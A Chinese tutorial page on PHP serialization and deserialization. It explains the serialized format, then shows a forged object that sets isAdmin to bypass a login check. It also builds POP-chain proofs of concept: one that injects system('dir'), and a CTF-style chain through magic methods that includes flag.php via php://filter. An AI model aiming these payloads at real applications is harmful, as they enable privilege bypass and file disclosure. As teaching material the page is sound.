PHP 反序列化

news/2024/10/18 13:22:03/

一、PHP 序列化

1、对象的序列化
php"><?php
class people{public $name='Gaming';private $Nation='Liyue';protected $Birthday='12/22';public function say(){echo "老板你好呀,我是和记厅的镖师,叫我嘉明就行,要运货吗你?";}
}
$Gaming=new people();
echo $Gaming->name;
echo '<br>';
$a=serialize($Gaming);  //将 对象 $Gaming 序列化为 字符串
echo $a;
echo '<br>';
$c=urlencode($a);       //将 字符串 $a 进行 url 编码
echo $c;

运行:

Gaming O:6:"people":3:{s:4:"name";s:6:"Gaming";s:14:"peopleNation";s:5:"Liyue";s:11:"*Birthday";s:5:"12/22";} O%3A6%3A%22people%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22Gaming%22%3Bs%3A14%3A%22%00people%00Nation%22%3Bs%3A5%3A%22Liyue%22%3Bs%3A11%3A%22%00%2A%00Birthday%22%3Bs%3A5%3A%2212%2F22%22%3B%7D

O:(object)一个序列化的对象

6:类名的长度

3:类中有 3 个属性

s:(string)字符串

4:属性 长度

6:值 长度

2、数组的序列化
①、普通数组
php">$arr=array('Gaming','Chongyun');
echo serialize($arr);

运行:

> a:2:{i:0;s:6:"Gaming";i:1;s:8:"Chongyun";}

a:数组

2:2 个值

i:索引

0:第 0 个

②、关联数组
php"> $arr=array('name' => 'Chongyun','Nation' => 'Liyue','Birthday' => '9/7');echo serialize($arr);

运行:

a:3:{s:4:"name";s:8:"Chongyun";s:6:"Nation";s:5:"Liyue";s:8:"Birthday";s:3:"9/7";}

二、PHP 反序列化

php"> $Gaming=new people();echo $Gaming->name;echo '<br>';$a=serialize($Gaming);  //将 对象 $Gaming 序列化为 字符串echo $a;echo '<br>';echo '<br>';print_r(unserialize($a));echo '<br>';echo '<br>';var_dump(unserialize($a));

运行:

Gaming O:6:"people":3:{s:4:"name";s:6:"Gaming";s:14:"peopleNation";s:5:"Liyue";s:11:"*Birthday";s:5:"12/22";}

people Object ( [name] => Gaming [Nation:people:private] => Liyue [Birthday:protected] => 12/22 )

object(people)#2 (3) { ["name"]=> string(6) "Gaming" ["Nation":"people":private]=> string(5) "Liyue" ["Birthday":protected]=> string(5) "12/22" }

获得一个 序列化 的字符串 :

O:6:"people":3:{s:4:"name";s:6:"Gaming";s:14:"peopleNation";s:5:"Liyue";s:11:"*Birthday";s:5:"12/22";}

手动添加 空字符

s:14:"%00people%00Nation";s:5:"Liyue";s:11:"%00*%00Birthday";

篡改字符串信息,反序列化后得到 篡改后的 对象 :

php"> highlight_file(__FILE__);class User {public $username='lili';public $isAdmin=0;}​$userData = $_GET['data'];$user = unserialize($userData);if($user->isAdmin===1 && $user->username==='admin'){// 目标输出:欢迎你管理员~echo '欢迎你管理员~';}else{echo '你是一个普通用户!';}

编写脚本,得到序列化字符串

php">class User {public $username='admin';public $isAdmin=1;}​$user = new User();$serialized_data = serialize($user);echo $serialized_data;

GET 传参即可

三、pop链的构造

引入:

php">if(isset($_GET['test'])){@unserialize($_GET['test']);highlight_file(__FILE__);
}
else{$a=new test;
}

 POC 编写:

php">class  test{private $index;function __construct(){$this->index=new execute();}
}class execute{public  $test="system('dir');";
}
$a=new test();
echo urlencode(serialize($a));
```

例题: 
php">class Modifier {protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}
class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}
class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}
if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}

 POC 构造:

php">class Modifier {protected  $var="flag.php"; #include函数使用为协议读取文件// protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";}class Test{public $p;}class Show{public $source;public $str;//将另一个对象赋值给属性需要使用构造函数。public function __construct(){$this->str =new Test();  // 触发 __get()}}$new_show = new Show();  // 触发 POP链中的 __construct()$new_show->source = new Show();  // 触发 __toString()$new_show->source->str->p = new Modifier();  // 触发 __invoke()echo urlencode(serialize($new_show));


http://www.ppmy.cn/news/1452609.html

相关文章

MIKE + MATLAB - 使用DHI工具包时读取数据

这里写目录标题 1. 读取投影 1. 读取投影 dfsu2.Projection.WKTString dfsu2.Projectionans DfsProjection - 属性:Type: ProjectionWKTString: [11 System.String]Longitude: 123.0000Latitude: 0Orientation: 0dfsu2.Projection.WKTStringans PROJCS["CGCS2000_3_Degr…

【PyTorch与深度学习】5、深入剖析PyTorch DataLoader源码

课程地址 最近做实验发现自己还是基础框架上掌握得不好&#xff0c;于是开始重学一遍PyTorch框架&#xff0c;这个是课程笔记&#xff0c;此节课很详细&#xff0c;笔记记的比较粗 1. DataLoader 1.1 DataLoader类实现 1.1.1 构造函数__init__实现 构造函数有如下参数&…

FloodFill-----洪水灌溉算法(DFS例题详解)

目录 一.图像渲染&#xff1a; 代码详解&#xff1a; 二.岛屿数量&#xff1a; 代码详解&#xff1a; 三.岛屿的最大面积&#xff1a; 代码详解&#xff1a; 四.被围绕的区域&#xff1a; 代码详解&#xff1a; 五.太平洋大西洋水流问题&#xff1a; 代码详解&#x…

【Qt】深入Qt信号与槽:事件驱动编程的艺术与实践

文章目录 前言&#xff1a;1. Linux 信号 与 Qt 信号1.1. Linux 信号1.1.1. 概念1.1.2. 信号处理 1.2. Qt 信号1.2.2. 概念1.2.2. 信号处理方式1.2.3. 注意事项 2. connect 函数2.1. connect函数概述2.2. Qt类的继承关系2.3. connect具体使用方式&#xff1a; 3. 自定义槽函数3…

Visual Studio 2022 工具 选项 没有网络设置问题解决

Visual Studio 2022 工具 选项 没有网络选项了&#xff0c;找了一大圈也没找到。 最后发现Visual Studio 2022的直接使用系统的代理设置了&#xff0c;在浏览器的代理中设置即可。 要使用扩展管理器安装插件&#xff0c;还不能设置pac !!! 顺便记录个pac地址&#xff1a; 1…

vector的使用

1.构造函数 void test_vector1() {vector<int> v; //无参的构造函数vector<int> v2(10, 0);//n个value构造&#xff0c;初始化为10个0vector<int> v3(v2.begin(), v2.end());//迭代器区间初始化,可以用其他容器的区间初始化vector<int> v4(v3); //拷贝…

《STM32 HAL库》中断相关函数详尽解析——外部中断服务函数

观前提醒&#xff1a;本文简要回顾了EXTI及NVIC相关知识点&#xff0c;分析了stm32f1系列单片机外部中断回调机制 开始之前&#xff0c;先温习一下有关EXTI和NVIC的知识点 外部中断/事件控制器(EXTI) 对于互联型产品&#xff08;105、107系列&#xff09;&#xff0c;外部中断…

layui中禁用div标签等操作

为了实现点击表格行后触发事件 然后去触发后进行操作 页面流程操作设置规定 不可编辑直接添加属性 class"layui-disabled"如果在最大的 div 设置不可编辑 但是内部有些还是可以触发使用的 所以就重写一下 取到当前 div 下的 所有的子元素 然后在给所有的子元素…